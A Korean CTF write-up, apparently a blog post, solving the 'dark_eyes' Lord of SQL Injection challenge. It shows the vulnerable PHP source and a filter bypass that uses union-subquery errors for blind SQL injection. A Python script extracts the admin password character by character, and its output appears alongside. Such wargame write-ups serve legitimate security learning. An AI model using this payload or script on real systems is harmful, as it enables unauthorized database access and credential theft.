이번에도 역시 Error를 기반으로 한 Error Based Blind SQL Injection 이다. 그런데 이번에는 이 전 문제랑은 약간 다르다.

코드는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
------------------------------------------------------------------------------------------
query : select id from prob_dark_eyes where id='admin' and pw=''
------------------------------------------------------------------------------------------

<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

이 전 문제에서 사용했던 if가 필터링 대상에 들어가 있고, if를 대체할 수 있는 casewhen도 필터링한다. 즉, 조건문을 사용할 수가 없다. 그래서 내가 처음에 생각했던 방법은 andor을 적절히 이용하는 것이다. 만약에 1 or 0이라는 조건이 있다면, 앞의 1이 이미 참이기 때문에 뒤의 0은 체크하지 않는다고 생각했다. 반면 0 or 1이라면, 앞의 0이 거짓이기 때문의 뒤의 1을 체크하는 것이다. 그래서 앞에 pw의 길이와 내용을 알기 위한 쿼리를 넣고 뒤에 에러를 유발하는 쿼리문을 넣는다면, 앞의 조건이 참이라면 뒤의 에러 유발용 쿼리가 실행되지 않아 정상적으로 페이지가 보일 것이라고 생각했던 것이다. 그런데 음… 내가 뭘 잘못 한 것인지 이건 아무리 해도 안됬다.

정확히는 쿼리 스트링을 pw=1' or id='admin' and ord('a')=97 or 9e307*2를 넣으면 앞의 id='admin' and ord('a')=97가 참이기 때문에 뒤의 9e307*2에 대해서 에러가 발생하지 않는다. (9e307은 MySQL에서의 최대값이기 때문에 9e307*2를 하면 DOUBLE value is out of range in '(9e307 * 2)'라는 에러가 발생한다.) 그런데 pw=1' or id='admin' and length(pw)>0 or 9e307*2을 넣으면 무슨 조건을 넣더라도 무조건 에러가 나왔다. 왜 이러는지 이유를 모르겠다 ㅠㅠ 그래서 결국 다른 방법을 찾아보아서 아래와 같이 쿼리 스트링을 구성 해 문제를 풀었다.

1
?pw=1' or id='admin' and (select 1 union select (length(pw)=1))#

이렇게 하면 만약 length(pw)=1이 참이라면 1을 반환하기 때문에 select 1 union select 1이 되어 한 행만 결과로 나온다. 하지만 거짓이라면 select 1 union select 0을 하게 되면, 2개의 행을 반환하기 때문에 Subquery returns more than 1 row라는 오류를 출력한다. 이를 바탕으로 pw를 알아내기 위해 아래와 같이 코드를 구현했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

flag = ""
length = 0

url = "http://los.rubiya.kr/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the password"

for i in range(0, 20):
	try:
		query = url + "1' or id='admin' and (select 1 union select (length(pw)=" + str(i) + "))%23"
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue

	if 'select id from prob_dark_eyes' in r.text:
		length = i
		break

print "[+] Found length : ", length

print "[+] Find password"

for j in range(1, length + 1):
	for i in range(48, 128):
		try:
			query = url + "1' or id='admin' and (select 1 union select (ord(substr(pw, " + str(j) + ", 1))=" + str(i) + "))%23"
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'select id from prob_dark_eyes' in r.text:
			flag += chr(i)
			print "[+] Found " + str(j), ":", flag
			break

print "[+] Found password : ", flag
print "[+] End"

그 결과 소문자와 숫자로 구성 된 8자리 pw값을 얻을 수 있었다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ python ex.py 
[+] Start
[+] Find length of the password
[+] Found length :  8
[+] Find password
[+] Found 1 : 5
[+] Found 2 : 5a
[+] Found 3 : 5a2
[+] Found 4 : 5a2f
[+] Found 5 : 5a2f5
[+] Found 6 : 5a2f5d
[+] Found 7 : 5a2f5d3
[+] Found 8 : 5a2f5d3c
[+] Found password :  5a2f5d3c
[+] End

이 값을 쿼리스트링으로 넘겨주면 문제를 풀 수 있다.

1
?pw=5a2f5d3c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
----------------------------------------------------------------------------------------------------
query : select id from prob_dark_eyes where id='admin' and pw='5a2f5d3c'
----------------------------------------------------------------------------------------------------

DARK_EYES Clear!
<?php
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(mysql_error()) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

1
DARK_EYES Clear!!